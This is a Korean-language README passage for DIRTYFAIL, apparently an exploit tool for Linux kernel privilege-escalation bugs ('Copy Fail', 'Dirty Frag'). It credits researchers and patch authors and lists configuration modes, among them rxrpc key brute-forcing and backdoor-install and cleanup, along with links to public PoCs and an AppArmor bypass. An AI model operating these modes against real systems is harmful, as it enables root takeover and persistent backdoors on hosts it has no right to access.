DIRTYFAIL은 독자적인 코드이지만, 구현된 기법들은 아래 연구자들이 개발했습니다. 이 도구를 배포하기 전에 그들의 1차 자료를 읽어 보십시오. 그것들이 표준 참고 자료입니다.

패치 작성자:

  • f4c50a4034e6 (Dirty Frag xfrm-ESP) — Hyunwoo Kim의 v1 패치를 기반으로, Kuan-Ting Chen의 병합된 공유-frag 접근 방식이 적용됨.
  • RxRPC 패치 — Hyunwoo Kim, 병합 대기 중.

라이선스

MIT. LICENSE를 참조하십시오.


연락처

이 저장소에 이슈를 열거나 커밋 기록에 나열된 주소로 연락하십시오. 관련 문제의 조정된 공개를 위해 위의 업스트림 연구자들에게 직접 연락하십시오.

도구 다운로드
모드환경 변수
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (16진수) — fcrypt 무차별 대입은 부모 프로세스에서 수행되며(capability 불필요), 실제 트리거를 위해 키는 자식 프로세스로 전달된다
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
출처연구자기여
https://copy.fail/Anonymous원본 Copy Fail 공개
https://github.com/Smarttfoxx/copyfailSmarttfoxxC PoC(su 셸코드 변형)
https://github.com/rootsecdev/cve_2026_31431rootsecdevPython 탐지기 + UID-flip PoC; DIRTYFAIL의 --exploit-copyfail 모드의 사용성은 이 접근 방식을 따릅니다.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Dirty Frag 발견, 전체 체인 PoC, 커널 패치
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkGCM 변형 익스플로잇, IPv6 PoC, AppArmor userns 우회 기법
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputer공개 보도